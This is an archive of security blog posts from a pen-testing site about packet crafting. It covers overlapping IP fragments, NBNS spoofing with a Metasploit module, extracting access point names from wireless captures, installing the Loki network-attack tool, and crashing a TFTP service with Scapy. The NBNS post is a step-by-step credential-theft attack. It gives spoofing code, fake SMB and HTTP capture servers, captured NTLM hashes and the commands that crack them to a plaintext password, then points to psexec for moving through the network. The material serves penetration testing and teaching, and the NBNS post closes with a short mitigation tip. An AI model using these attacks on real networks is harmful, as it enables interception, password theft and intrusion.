21.4.11

Crafting Overlapping Fragments ..... Eventually



I was doing some testing this week and needed to craft some overlapping fragments. Though I did some extensive work and research of overlapping fragments about 5 years ago when I worked at Sourcefire, I have not revisited crafting overlapping fragments in the interim. At the time, I used Perl modules and support since Scapy was not around at the time and/or I was not familiar with it. Ultimately, I'm going to show you how to craft overlapping fragments using Scapy. Frankly, the Scapy code itself is pretty simple; the knowledge of TCP/IP is more challenging. I'm going to do multiple posts to explain all the necessary concepts to craft overlapping fragments.

It's embarrassing to admit that I forgot many of the issues associated with fragmentation. First, you have to understand fragmentation – what happens to some fields in the IP header, the protocol header, and the data. While Scapy has excellent support for normal fragmentation – i.e. no overlaps, you need to understand the theory of fragmentation to properly craft your own atypical fragments.

As if this is not complex enough, you also have to understand the role of checksums in general, and more specifically at the transport layer to make the packet acceptable to the receiver. Scapy usually takes care of all the checksum details for you and you don't have to understand them or bother with them. But, when we craft overlapping fragments, we are responsible for computing and supplying a valid protocol layer checksum.

This first blog concentrates on the creation and composition of normal fragments. Additional posts will address the issue of the protocol layer checksum and finally how to use Scapy to craft overlapping fragments.

Usually, fragmentation occurs when an IP datagram is larger than the link layer it needs to traverse. For instance, the Maximum Transmission Unit (MTU) for Ethernet is 1500 bytes. If a datagram is larger than 1500 bytes, it must be fragmented into multiple associated datagrams. However, if we're doing the crafting and fragmenting, we can craft fragments from far smaller datagrams than 1500 bytes.

Assume we have a datagram depicted in the diagram that follows. It is an ICMP echo request with 16 bytes of data. The datagram is composed of a standard 20-byte IP header, followed by an 8-byte ICMP header with a type value of 8 and a code value of 0 to indicate it is an ICMP echo request, followed by a 16-byte payload. Some of the pertinent IP header fields have been listed using Scapy output. Specifically, this IP header has a unique identifying value in the IP ID field of 12345. No fragment-associated flags are set; this is the 0-offset fragment, but since no fragment flags are set, this is not really relevant. And, the protocol that follows is ICMP.









If this datagram were to become fragmented, all created fragments are associated by the common16-bit IP ID value of 12345. The More Fragments (MF) bit flag indicates that there are other fragments that follow. This bit is set for all fragments except the final one. Finally, the offset represents the displacement of the fragment with regard to all other fragments. It adds the notion of chronology of the fragments so that the receiver can reassemble them after they arrive. The offset is represented as an 8-byte multiple of where the fragment resides relative to the beginning of the original unfragmented datagram. We'll revisit this later in this blog when we examine some fragments.

Now, suppose we wanted to split this datagram into 16-byte fragments. What would happen?






First you have to understand that every fragment has an IP header otherwise there would be no way to get it to the destination. The original IP header is pretty much "cloned" except for the MF flag and the fragment offset values. A 16-byte fragment means 16-bytes of data after the original or cloned IP header. We don't fragment the IP header itself – that remains intact. The actual fragmentation occurs to the data following the IP header. In this case, that means the 8-byte ICMP header plus 8 bytes of the ICMP payload "AABBAABB" constitute the first fragment. Now, there are only 8-bytes of remaining ICMP payload "CCCCCCCC" for the 2nd and final fragment.

I created a Scapy program to fragment the original datagram displayed in the first diagram. It first creates the packet, shows the values of some fields in the the packet, creates 16-byte fragments, and loops to show the fragment data and then send the packets.

Let's examine the fragments that the program created. The first one is depicted below with the relevant associated datagram fields and values.








The Scapy output for the first fragment indicates that the length of the new datagram that holds the first fragment is 36 bytes – 20 bytes of IP header, 8 bytes of ICMP header, and 8 bytes of data. The original IP ID of 12345 is the identifier for associated fragments, there are more fragments that follow, this is the 0-offset fragment, and the protocol is ICMP. The ICMP header shows a type of 8 and code of 0 for an echo request and an ICMP checksum that reflects that ICMP header and payload. We'll revisit the checksum in a later blog post. But remember this must be correct; otherwise the receiving host will drop it. Scapy computes the checksum for us when we use the Scapy "fragment" function. Finally, we see the payload of "AABBAABB".

Now, let's look at the second fragment that Scapy created.








It has a similar IP header as the first fragment, sharing the IP ID number, but the MF bit is set to 0 since no more fragments follow. The fragment offset is 2. This is the offset in the original unfragmented datagram where the "CCCCCCCC" falls. It is located at 16 bytes offset from the data that follows the IP header. There are 8 bytes of ICMP header and 8 bytes of data "AABBAABB" found in the first fragment. The value in the IP header is expressed in terms of 8-byte multiples – therefore a value of 2 means 16-bytes. This is a legacy storage space savings from when data transfer rates were far slower and using a bit or two less space in the header was considered pragmatic. The associated protocol is ICMP.

No doubt you've noticed there is data only that follows the IP header. The ICMP header is not repeated; the protocol layer that follows the IP header is part of the first fragment only. The length of 28 in the IP header reflects this 20-byte IP header followed by 8 bytes of data. When the receiving host gets all fragments associated with IP ID 12345 it orders them according to offset and knows it has received all the fragments when there are no gaps and the last fragment has been received. In this case, the receiving host responds with an ICMP echo reply that contains a payload of "AABBAABBCCCCCCCC" meaning that these were well-formed wholesome packets. When we craft our own overlapping fragments, we'll use the data contained in the receiver's ICMP echo reply to learn which of the overlapping fragments it favored.

Stay tuned for future posts.




31.3.11

NBNS Spoofing on your way to World Domination

I few weeks ago I helped on the Red Team at the Midwest CCDC competition in Minneapolis (actually St. Paul, but close enough). There were some talented guys there and it was a lot of fun beating on those poor kids. I highly recommend you volunteer at events like this. You haven't lived until you've slowly ripped the legs off a live domain controller while the owner sits and watches, with no ability to do anything about it (vnc + disabled mouse and keyboard).

Whenever I get together with a group of people like this, I like to exchange techniques and discuss trends. We discussed our paths of least resistance for internal tests, and I mentioned that my favorite are the attacks based on spoofing NetBIOS Name Service (NBNS) Responses. It is the very first tool I fire up on internal penetration tests, and it is very valuable on wireless penetration tests where client laptops are in scope. Before we get into the attack method I'll go over a bit of the background on what NBNS is.

When your Windows box needs to determine the IP address for a given name, it tries, in order, the following lookup methods:
  • local hosts file - C:\Windows\System32\drivers\etc\hosts

  • DNS

  • NBNS


You may wonder, how many queries make it past DNS? The answer is, a lot! Any fat fingered internal server name, a laptop looking for its domain network resources while on another network, or would be web searches will generate this traffic. You may ask, web searches, huh? We open our browser and type in "packetstan" in the address bar, what does the browser do?

Modern browsers allow you to search via the address bar (Chrome doesn't even have a dedicated search box), and the browser needs to decide if the text is a host or a query. If the string has spaces, it is obviously a search request. If there are no spaces the browser doesn't know if we want a server named "packetstan" or we want to search google/yahoo/bing for "packetstan", but it first tries to access a host named "packetstan" and therefor needs to attempt to resolve the IP for the host. i.e. I do a search for "puppies" by browser will attempt to get an IP address for "puppies" (how cute).

The hosts file isn't going to have an entry for "packetstan", and DNS is going to fail to lookup "packetstan" (no .com). So we land on NBNS. Here is a screen shot of the transaction:



Since the look up is just a hostname, windows adds the local DNS suffix to the query and asks its DNS server(s). The suffix picked up my the Windows box usually comes from the DHCP server. As you can see, the DNS server replied that it had no idea on how to lookup that name. Next, you'll see the NBNS Request. The beautiful thing is, the NBNS Request is a broadcast, so anyone can reply easily and redirect traffic.

If we wanted to poison a DNS lookup we would have to somehow get in the middle of the traffic, and that takes some additional effort. NBNS is so easy I can even do it before I have my first cup of coffee, as I usually save MITM attacks until after a few cups of joe.

Wesley McGrew wrote a tool to forge NBNS replies. He also has a great three part series on the protocol and the tool writing process. Fans of this blog should really check out those posts. Now that we have better understanding of NBNS, how do we spoof a reply?

To spoof an NBNS reply, we need to craft a reply packet that has the same Transaction ID as the request. The Transaction ID is similar to the one used by DNS (BTW, the numbers sequential and are reset to \x80\x00 after each reboot). We also need to specify the IP address to send in the reply. For all intents and purposes, the rest of each response packet can be static.

Mr. McGrew's tool does what we described above, but I wanted it in Metasploit, which means rewriting it in ruby. Unfortunately, Racket, the packet crafting tool for Ruby, doesn't have a module for NetBIOS, so we'll manually dissassemble the packet and create a raw reply packet.

Using WireShark as a guide, we can pull apart the packet, piece by piece.

nbnsq_transid      = packet[0..1]
nbnsq_flags = packet[2..3]
nbnsq_questions = packet[4..5]
nbnsq_answerrr = packet[6..7]
nbnsq_authorityrr = packet[8..9]
nbnsq_additionalrr = packet[10..11]
nbnsq_name = packet[12..45]
nbnsq_type = packet[46..47]
nbnsq_class = packet[48..49]


As previously mentioned, all we really need is the Transaction ID and the Name. The Transaction ID is really simple as it is just two bytes, but what if we want to read the name? The raw name looks like this:

\x20FAEBEDELEFFEFDFEEBEOCACACACACAAA\00


The leading space and trailing null byte are apparent, but what kind of encoding is used here? Master McGrew describes it in the second portion of his blog post. Each character in our query ("PACKETSTAN") is split into nibbles (half bytes) and each nibble is added to \x41 (A), like this:
  • P = \x50

  • 1st nibble = 5, second nibble is 0

  • 41 + 5 = 46 and \x46 = F

  • 41 + 0 = 41 and \x41 = A

  • P is then encoded as FA


We can decode and encode our name with this bit of ruby (remember hex 41 equals decimal 65):

nbnsq_name.slice(1..-2).each_byte do |c|
decoded << "#{(c - 65).to_s(16)}"
end
nbnsq_decodedname = "#{[decoded].pack('H*')}".strip()


We skip the first (space) and last (null) bytes and subtract 65 from each so we end up with "5041434B45545354414E20202020". We convert that into ASCII characters and strip the trailing spaces to get "PACKETSTAN".

Fortunately, we don't actually need to re-encode the string since we can just use the original in our reply. However, I use this string to match a regular expression so we only reply to the in-scope clients.

if (nbnsq_decodedname =~ /#{datastore['REGEX']}/i)
...


The raw response packet is then created. You'll notice that most of our packet is static or taken directly from the Request packet.
response = nbnsq_transid +
"\x85\x00" + # Flags = response + authoratative + recursion desired
"\x00\x00" + # Questions = 0
"\x00\x01" + # Answer RRs = 1
"\x00\x00" + # Authority RRs = 0
"\x00\x00" + # Additional RRs = 0
nbnsq_name + # original query name
nbnsq_type + # Type = NB ...whatever that means
nbnsq_class+ # Class = IN
"\x00\x04\x93\xe0" + # TTL = a long ass time
"\x00\x06" + # Datalength = 6
"\x00\x00" + # Flags B-node, unique = whet ever that means
datastore['SPOOFIP'].split('.').collect(&:to_i).pack('C*')


The last line takes the IP address to spoof and converts it to bytes (i.e. 1.2.3.4 -> \x01\x02\x03\x04). Fortunately, the bytes are big endian, so we don't have to rearrange the order.

Now we can run the module in Metasploit:

msf > use auxiliary/spoof/nbns/nbns_response
msf auxiliary(nbns) > show options

Module options (auxiliary/spoof/nbns/nbns_response):

Name Current Setting Required Description
---- --------------- -------- -----------
REGEX .* yes Regex applied to determene if spoofed reply is sent
SPOOFIP yes IP address with which to poison responses
VERBOSE true no Determines whether to display responses

msf auxiliary(nbns_response) > set spoofip 192.168.1.52
spoofip => 192.168.1.52
msf auxiliary(nbns_response) > run
[*] Auxiliary module execution completed

[*] NBNS Spoofer initializing
[*] NBNS Spoofer initialed. Waiting for packets...


The default regular expression will match any query, and when one is found you will see a message like this:

[*] Regex matched PACKETSTAN from 192.168.1.51. Sending reply...


Ok, great, so we sent a reply and have poisoned a name lookup. So what?

We can use Metasploit to setup a few fake services. That way, if a host lookup was for a web server or a file server (smb) the user will be directed to our Metasploit instance. The Metasploit modules in question will request authentication, and the client will happily send it credentials (sort of).


msf > use auxiliary/server/capture/smb
msf auxiliary(smb) > set JOHNPWFILE /home/tm/johnsmb
JOHNPWFILE => /home/tm/johnsmb
msf auxiliary(smb) > show options

Module options (auxiliary/server/capture/smb):

Name Current Setting Required Description
---- --------------- -------- -----------
CAINPWFILE no The local filename to store the hashes in Cain&Abel format
CHALLENGE 1122334455667788 yes The 8 byte challenge
JOHNPWFILE /home/tm/johnsmb no The prefix to the local filename to store the hashes in JOHN format
LOGFILE no The local filename to store the captured hashes
SRVHOST 0.0.0.0 yes The local host to listen on. This must be an address on the local machine or 0.0.0.0
SRVPORT 445 yes The local port to listen on.
SSL false no Negotiate SSL for incoming connections
SSLVersion SSL3 no Specify the version of SSL that should be used (accepted: SSL2, SSL3, TLS1)

msf auxiliary(smb) > run
[*] Auxiliary module execution completed

[*] Server started.

msf auxiliary(smb) > use auxiliary/server/capture/http_ntlm
msf auxiliary(http_ntlm) > set LOGFILE /home/tm/httplog
LOGFILE => /home/tm/johnhttp
msf auxiliary(http_ntlm) > set URIPATH /
URIPATH => /
msf auxiliary(http_ntlm) > set SRVPORT 80
SRVPORT => 80
msf auxiliary(http_ntlm) > show options

Module options (auxiliary/server/capture/http_ntlm):

Name Current Setting Required Description
---- --------------- -------- -----------
LOGFILE /home/tm/httplog no The local filename to store the captured hashes
PWFILE no The local filename to store the hashes in Cain&Abel format
SRVHOST 0.0.0.0 yes The local host to listen on. This must be an address on the local machine or 0.0.0.0
SRVPORT 80 yes The local port to listen on.
SSL false no Negotiate SSL for incoming connections
SSLVersion SSL3 no Specify the version of SSL that should be used (accepted: SSL2, SSL3, TLS1)
URIPATH / no The URI to use for this exploit (default is random)


Any Windows box that access our SMB share will automatically try to authenticate. The web browser is a different story, and depends on the browser and if the client machine is joined to a domain. It will either send credentials automatically or prompt the user for credentials. The table below describes when credentials are automatically sent, and when they aren't.




BrowserDomain JoinedStandalone (Non-Domain)
ChromeAutomaticPerforms Google Search
IEAutomaticUser Prompted
FireFoxUser PromptedUser Prompted


Most of the machines in scope for my test are joined to the corporate domain, so this attack works great! A Windows box that is part of a domain treats hosts, not FQDN hostnames, as part of its "Local Intranet Zone". This zone has all sorts of settings to make single sign-on easier. IE and Chrome both use this "Local Intranet Zone", while Firefox does not.

After typing "packetstan" into my browser in Chrome on my domain-joined host, Metasploit gives me this output:

[*] Regex matched PACKETSTAN from 192.168.1.61. Sending reply...
[*] Request '/' from 192.168.1.61:1134
[*] Request '/' from 192.168.1.61:1134
[*] Request '/' from 192.168.1.61:1134
[*] 192.168.1.61: MYDOM\tim 4f717259791a8a3d6a11ae4050ed5c72ee125c7119e2a20f:
44a8674da9a460bca9c615c79a72adad83b5af7ec07eac05 on ALPHA


If we look at the log file we'll see this:

$ cat httplog 
Thu Mar 31 18:18:18 -0500 2011:192.168.1.61:MYDOM:packetstan:tim:4f717259791a8a3d
6a11ae4050ed5c72ee125c7119e2a20f:44a8674da9a460bca9c615c79a72adad83b5af7ec07eac05


The SMB capture module will output a John the Ripper compatible file. However, the http_ntlm module doesn't give us a the file format we want (I'm working on a fix), so we'll have to change the file to look like this:
<user>:::<LMHASH>:<NTLMHASH>:<CHALLENGE> (wrapped for space, the actually file won't be wrapped):

MYDOM\tim:::4f717259791a8a3d6a11ae4050ed5c72ee125c7119e2a20f:
44a8674da9a460bca9c615c79a72adad83b5af7ec07eac05:1122334455667788


Note: Windows 7 and Windows 2008 will not provide a LM Hash and any further steps will not work as these steps rely on the weak LM Hash. You can still brute force the NetNTLMv2 hash, but there are no shortcuts.

The hashes sent via SMB or HTTP aren't your straight LH and NTLM hashes. While the full details requires a separate blog post, the short version is they are salted with a challenge to "ensure" they can't be reused. However, Metasploit uses a static challenge (1122334455667788) so we can use rainbow tables to crack the password. The tables can be used with rcracki and the halflmchall_alpha-numeric (smaller) or halflmchall_all-space (larger) tables are available from freerainbowtables.com. You can download both of them (28GB) via wget like this:

$ wget -r ftp://freerainbowtables.mirror.garr.it/mirrors/freerainbowtables/halflmchall/


All we need to do is run our hash against the rainbow table. We need the first 16 characters of the LM hash output (8 bytes of LM hash) and the path to the rainbow tables.

$ ./rcracki_mt -h 4f717259791a8a3d /storage/RainbowTables/halflmchall_alpha-numeric/
[sudo] password for tm:
Using 3 threads for pre-calculation and false alarm checking...
Found 4 rainbowtable files...

halflmchall_alpha-numeric#1-7_0_2400x57648865_1122334455667788_distrrtgen[p][i]_0.rti:
file length mismatch

halflmchall_alpha-numeric#1-7_1_2400x56281894_1122334455667788_distrrtgen[p][i]_0.rti:
reading index... 13528977 bytes read, disk access time: 0.01 s
reading table... 450255152 bytes read, disk access time: 0.35 s
verifying the file... ok
searching for 1 hash...
plaintext of 4f717259791a8a3d is MYPASSW
cryptanalysis time: 3.40 s

statistics
-------------------------------------------------------
plaintext found: 1 of 1 (100.00%)
total disk access time: 0.36 s
total cryptanalysis time: 3.40 s
total chain walk step: 2876401
total false alarm: 840
total chain walk step due to false alarm: 825144

result
-------------------------------------------------------
4f717259791a8a3d MYPASSW hex:4d595041535357


In 3.4 short seconds we have the first seven characters of the password. The latest version (at the time of writing) of John the Ripper (1.7.6-jumbo12) has a perl file named netntlm.pl that will bruteforce the second portion of the password. We just need to give it the first portion of the password and a john compatible file (output trimmed).

$ perl netntlm.pl --seed MYPASSW --file ~/john-http


###########################################################################################
The following LM responses have been previously cracked:

The following NTLM responses have been previously cracked:


###########################################################################################
Isolating accounts which have only had their LM response cracked.
Account MYDOM\\tim LM response added to cracking list.

...
Loaded 1 password hash (LM C/R DES [netlm])
MYPASSWORD1 (MYDOM\\tim)
guesses: 1 time: 0:00:00:26 c/s: 515198 trying: MYPASSWORD1


We can see that my password is MYPASSWORD1. However, LM passwords are case insensitive and are always presented upper case. To get the case sensitive password we run the *same* command again. The second pass will use "MYPASSWORD1" against the case sensitive NTLM hash.

$ perl netntlm.pl --seed MYPASSW --file ~/john-http


###########################################################################################
The following LM responses have been previously cracked:
MYDOM\tim:MYPASSWORD1::4f717259791a8a3d6a11ae4050ed5c72ee125c7119e2a20f:44(trimmed)

The following NTLM responses have been previously cracked:

...
Performing NTLM case-sensitive crack for account: MYDOM\tim.
guesses: 1 time: 0:00:00:00 100.00% (ETA: Thu Mar 31 12:57:51 2011) c/s: 3352 trying: MyPassword1
Loaded 1 password hash (NTLMv1 C/R MD4 DES [netntlm])
MyPassword1 (MYDOM\tim)
...


We now have the case sensitive password. Awesome!

In summary, to use this method perform the following steps:
  • Start the following Metasploit modules
    • auxiliary/spoof/nbns/nbns

    • auxiliary/server/capture/smb

    • auxiliary/server/capture/http_ntlm

  • Crack the first half of the LM hash with rainbow tables

  • Brute force the second half of the password with john's netntlm.pl

  • Run the same netntlm.pl again to get the case sensitive password


This method will usually yield credentials pretty quickly, but to get some higher privileged accounts just wait a while.

Once you have a cracked password you can (usually) connect to boxes all over the place by using Metasploit's exploit/windows/smb/psexec module.

The prevent this attack from being as effective, you need to modify the LAN Manager authentication level to refuse LM via GPO. It isn't enough to use "Send NTLM response only" or "Send NTLMv2 response only".

25.3.11

Extracting AP names from Packet Captures

Years ago, while working as a Network Engineer, I did a bit of sniffing of our wireless access points. I noticed that some access point, mainly Cisco, broadcast the Access Point's name. I also noticed that the same access point will use a slightly different MAC Address (BSSID) for each SSID (ESSID). Typically the last nibble (half byte), or two, changes. I thought that was interesting, and moved on.

Now that I work as a penetration tester I want to correlate those access points, so I can tell exactly how many devices there are and the MAC addressing scheme. That way I can better identify something that is out of place, like a well place rogue.

Initially I did this by hand, and by hand means: teh suck!!!1! I knew there had to be a better way to do this, so I broke out scapy. I'll walk you through the process of creating a python script that extracts all the AP' MAC addresses, along with their corresponding Name and [E]SSID (if broadcast).

Let's start by looking a packet produced by a beacon.



The packet includes the name of the access point. But how do we extract it? Let's fire up scapy and check it out.

$ scapy
Welcome to Scapy (2.1.0)
>>> pkts=rdpcap("beacon-packet.pcap")
>>> p=pkts[0]
>>> p
<Dot11 subtype=8L type=Management proto=0L FCfield= ID=0 addr1=ff:ff:ff:ff:ff:ff
addr2=00:24:c4:d3:04:65 addr3=00:24:c4:d3:04:65 SC=6432 addr4=None |<Dot11Beacon
timestamp=339645573495 beacon_interval=102 cap=short-slot+ESS+privacy+short-preamble
|<Dot11Elt ID=SSID len=11 info='MyCorpESSID' |<Dot11Elt ID=Rates len=8 info='\x82
...
|<Dot11Elt ID=133 len=30 info='\n\x00\x8f\x00\x0f\x00\xff\x03Y\x00AP3\x00\x00\x00
\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x006' |<Dot11Elt ID=150 len=6
info='\x00@\x96\x00\x11\x00' |<Dot11Elt ID=vendor len=6 info='\x00@\x96\x01\x01\x04'
|<Dot11Elt ID=vendor len=5 info='\x00@\x96\x03\x05' |<Dot11Elt ID=vendor len=5
info='\x00@\x96\x0b\t' |<Dot11Elt ID=vendor len=5 info='\x00@\x96\x14\x01' |<Dot11Elt
ID=vendor len=24 info="\x00P\xf2\x02\x01\x01\x80\x00\x03\xa4\x00\x00'\xa4\x00\x00
BC^\x00b2/\x00" |>>>>>>>>>>>>>>>>>>>>
>>>


The first packet in our capture is a beacon packet. It happens to contain the SSID and the AP's name. The BSSID (MAC) is really easy to extract (p.addr2). The ESSID is pretty easy to extract too (p[Dot11Elt].info). We still need to get that pesky Access Point Name, but it is nested in one of the Dot11Elt (802.11 Information Element). After trying this technique on multiple captures, at multiple sites, with multiple configurations, I found that the depth of the nested element is not consistent. This means we need to dig for it. Fortunately, we know the ID of the element that contains the AP's name, 133.

We can use this bit of code to find the property.

>>> while Dot11Elt in p:
... p = p[Dot11Elt]
... if p.ID == 133:
... print "found it: " + p.info
... p = p.payload

found it:
'\n\x00\x8f\x00\x0f\x00\xff\x03Y\x00AP3\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x006'


I faked the output a bit since null and high numbered characters either don't display or display funny, but you get the point. After a bit of inspection, it appears the Name property is at offset 10 and is null terminated. We can use that to further refine our search by changing a few lines.

>>> p=pkts[0]
>>> while Dot11Elt in p:
... p = p[Dot11Elt]
... if p.ID == 133:
... ap = p.info[10:]
... ap = ap[:ap.find("\x00")]
... print "found it: " + ap
... p = p.payload

found it: AP3


This works great, but we can't extract the ESSID from a hidden network since it doesn't broadcast its SSID in the beacon. Instead, we need to look for a probe response. While where at it, let's put together the code to grab both frame types.

Here is our original beacon again:
<Dot11  subtype=8L type=Management proto=0L FCfield= ID=0 addr1=ff:ff:ff:ff:ff:ff
addr2=00:24:c4:d3:04:65 addr3=00:24:c4:d3:04:65 SC=6432 addr4=None ...


Here is the header of a probe response:
<Dot11  subtype=5L type=Management proto=0L FCfield=retry ID=14849 addr1=00:20:00:6f:ab:30
addr2=00:24:c4:d3:04:65 addr3=00:24:c4:d3:04:65 SC=63328 addr4=None


We can use that to find packets that will contain the BSSID and AP name and possibly the ESSID.

>>> for p in pkts:
... if (p.subtype == 8L or p.subtype == 5L) and p.type == 0L:
... while Dot11Elt in p:
... p = p[Dot11Elt]
... if p.ID == 133:
... ap = p.info[10:]
... ap = ap[:ap.find("\x00")]
... print "found it: " + ap
... p = p.payload
...
found it: AP3
found it: AP3
found it: AP4
found it: AP4
found it: AP2
found it: AP4
...


Now with a little extra python magic we end up with the attached script.

$ ./APNameFromPcap.py

usage: /pentest/wireless/APNameFromPcap.py [-F directory containing pcaps] [-f pcapfipe] [-e ssid]
You must provide at least provide the directory or pcap file


We can then give it one or files and/or one or more directories containing .cap, .pcap, or .dump. Here is the resulting output:

$ ./APNameFromPcap.py -f beacon-packet.pcap
00:24:c4:d3:04:65 MyCorpESSID AP3
00:24:c4:d2:d5:d1 AP4
00:24:c4:d2:d5:d5 MyCorpESSID AP4
00:24:c4:d2:23:41 AP2
00:24:c4:d2:d5:d2 AP4
...


This script writes the BSSID, ESSID, and AP Name from each beacon and probe response packet. If the output is sorted and only the unique rows are displayed we end up with this handy table.

$ ./APNameFromPcap.py -f beacon-packet.pcap | sort -u
00:24:c4:d2:1d:91 AP5
00:24:c4:d2:1d:91 PRIV AP5
00:24:c4:d2:1d:92 AP5
00:24:c4:d2:1d:95 MyCorpESSID AP5
00:24:c4:d2:23:41 AP2
00:24:c4:d2:23:42 AP2
00:24:c4:d2:23:45 MyCorpESSID AP2
00:24:c4:d2:d5:d1 AP4
00:24:c4:d2:d5:d1 PRIV AP4
00:24:c4:d2:d5:d2 AP4
00:24:c4:d2:d5:d2 Voice AP4
00:24:c4:d2:d5:d5 MyCorpESSID AP4
00:24:c4:d2:ee:c0 MyCorpESSID
00:24:c4:d3:04:61 AP3
00:24:c4:d3:04:61 PRIV AP3
00:24:c4:d3:04:62 AP3
00:24:c4:d3:04:62 Voice AP3
00:24:c4:d3:04:65 MyCorpESSID AP3


You'll notice that some MAC addresses show up twice. That's because the beacon frame from the BSSID doesn't send it ESSID, so it shows up blank, but if a probe response frame is found the ESSID is populated.

We can see that PRIV SSID usually ends in 1, MyCorpESSID ends in 5, and Voice ends in 2. In this format it is really clear that BSSID 00:24:c4:d2:ee:c0 is out of place. It doesn't send the AP's name, and doesn't follow our typical pattern. This is an access point that should be looked into, either due to misconfiguration, or as a rogue.

Correlation FTW!

Attachment: APNameFromPcap.zip
This is written for Python 2.6 and may require modifications for other version of python.

3.2.11

Exploiting Networks with Loki on Backtrack 4 R2

Loki is the impressive layer 2/3 network manipulation tool by Daniel Mende, Rene Graf and Enno Rey of ERNW.  Released at BlackHat 2010 last year (slides here), Loki replicates some of the functionality of Yersinia, but does so in a much more useful package while adding support for lots of new protocols commonly found in enterprise networks (that is, found in an insecure and exploitable form in many enterprise networks).

Lately I’ve been working on 2 days of the new SANS Advanced Penetration Testing and Ethical Hacking course (SEC660).  I wrote day 3 materials covering Python for Pen Testers, Scapy, Fuzzing and Cryptography for Pen Testers as well as the day 2 materials on Network Attacks, focusing on accessing the network, manipulating the network and exploiting the network.  I’ll write some future articles on the cool Python, Scapy, Fuzzing and Crypto attacks in SEC660, but today I want to focus on how to effectively use the powerful Loki tool to exploit common network flaws.

Loki Introduction

Loki provides a GUI interface for multiple protocol attacks, allowing you to manipulate network protocols for man-in-the-middle attacks and other malicious network activity.  Supported protocols include:

  • ARP
  • HSRP, HSRPv2
  • RIP
  • BGP
  • OSPF
  • EIGRP [not-yet-to-be-released due to legal blur]
  • WLCCP [not-yet-to-be-released due to legal blur]
  • VRRP, VRRPv3
  • BFD (Bidirectional Forwarding Protocol)
  • LDP (Label Distribution Protocol)
  • MPLS (re-labeling, tunnel interface)

ospf-attack

With an easy-to-use interface, Loki is my new preferred tool for exploiting many of these protocols, but more than that it offers a reliable interface for exploiting protocols not covered in other tools.  Specifically, I’m very pleased I now have a tool to inject and manipulate routes in OSPF environments, including an interface to mount a (fast) offline dictionary attack against the MD5 shared secret.

Unfortunately, Loki is not the simplest tool to get running on Backtrack 4 R2.  It is not included in the Backtrack repository, but we can add it to any BT4 R2 installation (or VM) with a few straightforward steps.

Installing Loki

To install Loki on BT4 R2 we’ll need to install some additional packages, and apply a source code patch to make Loki compatible with Backtrack’s Python 2.5 interpreter.  First, install several needed packages from the Backtrack repository:

# apt-get update
# apt-get install autoconf automake autotools-dev python-ipy python-libpcap

Next, we need to remove a Python module that is included by default on Backtrack but conflicts with the Loki-required python-libpcap module, as shown:

# apt-get remove python-pypcap

Next, we can download Loki and the patch to make it work on Backtrack 4 R2.  I put this patch together so we could use Loki in the SEC660 course, and Daniel Mende is kind enough to host it for us on his site:

# wget https://www.c0decafe.de/loki/loki-0.2.4.tar.gz
# wget https://www.c0decafe.de/loki/loki-0.2.4-bt4.diff

Now we can extract the source and apply the patch, as shown:

# tar xfz loki-0.2.4.tar.gz
# cd loki-0.2.4
# patch -p1 <../loki-0.2.4-bt4.diff
patching file configure.in
patching file loki_bindings/ospfmd5/ospfmd5bf.c
patching file modules/module_hsrp2.py
patching file modules/module_hsrp.py
patching file modules/module_rip.py
patching file modules/module_vrrp3.py
patching file modules/module_vrrp.py
patching file src/loki.py

Not so hard! Next, we can configure the development environment to build Loki, then build and install it, as shown:

# aclocal && automake --add-missing && autoconf
# ./configure && make && make install
# which loki.py
/usr/local/bin/loki.py

Using Loki


Now that you’ve got Loki installed on your system, you’re ready to put it to use.  After invoking Loki (by running “loki.py” from the shell), click the top-left corner button to invoke the packet sniffing function.  While Loki sniffs network traffic, it will identify supported protocols that it can attack by blinking the tab designed for that specific protocol.  Otherwise, you can navigate to other tabs, such as the ARP tab, and click on the active scanning functionality to discover attack targets (as shown below).


loki-arp


I’m very impressed with the functionality of Loki, and I’ve been pleased with how well it works on various penetration testing engagements.  There are still some minor bugs, but nothing that can’t be rectified quickly with a little Python edit here and there.


If you have a Loki success story (e.g. how you owned a network with Loki) or if you run across a Loki bug you want to share, please leave a comment below.  In the meantime, check out this powerful tool and, for practical hands-on experience on using Loki to exploit interior routing protocols, check out SEC660 at a SANS conference near (or not-so-near) you soon!


Special thanks to Daniel, Enno and Rene for making Loki available to the open-source community.  Tool authors don’t get enough thanks for their hard work, so please considering leaving them a note as well thanking them for this very useful addition to your attack tool arsenal.


-Josh

29.12.10

Scapy, and Random Acts of Packety Violence

I noticed while running a vulnerability scan with Nessus, that Citrix Provisioning Servers's TFTP service would crash. This service is used for the PXE booting Citrix's virtual machines, so it is rather important.

I began to wonder if I could cause it to crash with my own evil packet. Of course, I could just sniff the traffic generated by Nessus, but that takes away from the challenge and it wouldn't tell me the exact portion of the packet that caused the crash.

I did a bit of research on TFTP by reading the RFC. In addition, I found that the Wikipedia article has a pretty good description as well as some nice pretty pictures. I thought the packet most likely to cause a crash would be the RRQ (read request) and specifially the filename attribute, since it has the most manipulatable data. I then fired up Scapy.

Python 2.6.5 (r265:79063, Apr 16 2010, 13:09:56)
[GCC 4.4.3] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> from scapy.all import *
>>>


I then took a look at the options for TFTP
>>> ls()
...
TFTP : TFTP opcode
TFTP_ACK : TFTP Ack
TFTP_DATA : TFTP Data
TFTP_ERROR : TFTP Error
TFTP_OACK : TFTP Option Ack
TFTP_Option : None
TFTP_Options : None
TFTP_RRQ : TFTP Read Request
TFTP_WRQ : TFTP Write Request


...and the specific options for RRQ.

>>> ls(TFTP_RRQ)
filename : StrNullField = ('')
mode : StrNullField = ('octet')


Now to create the packet. Remember, TFTP is UDP, and here is how we make a TFTP RRQ packet.

>>> IP(dst='10.1.2.3')/UDP(dport=69)/TFTP()/TFTP_RRQ(filename='aaa')
<IP frag=0 proto=udp dst=10.1.2.3 |<UDP sport=1337 dport=tftp |<TFTP op=RRQ |<TFTP_RRQ filename='aaaa' |>>>>


There are a lot of options at each later, but at a minimum we need to set the destination address and port. This creates a valid request for the file aaaa. Let's take a look at the packet by using 'ls'.

>>> ls(IP(dst='10.0.2.15')/UDP(dport=69)/TFTP()/TFTP_RRQ(filename='aaaa'))
version : BitField = 4 (4)
ihl : BitField = None (None)
tos : XByteField = 0 (0)
len : ShortField = None (None)
id : ShortField = 1 (1)
flags : FlagsField = 0 (0)
frag : BitField = 0 (0)
ttl : ByteField = 64 (64)
proto : ByteEnumField = 17 (0)
chksum : XShortField = None (None)
src : Emph = '10.1.3.37' (None)
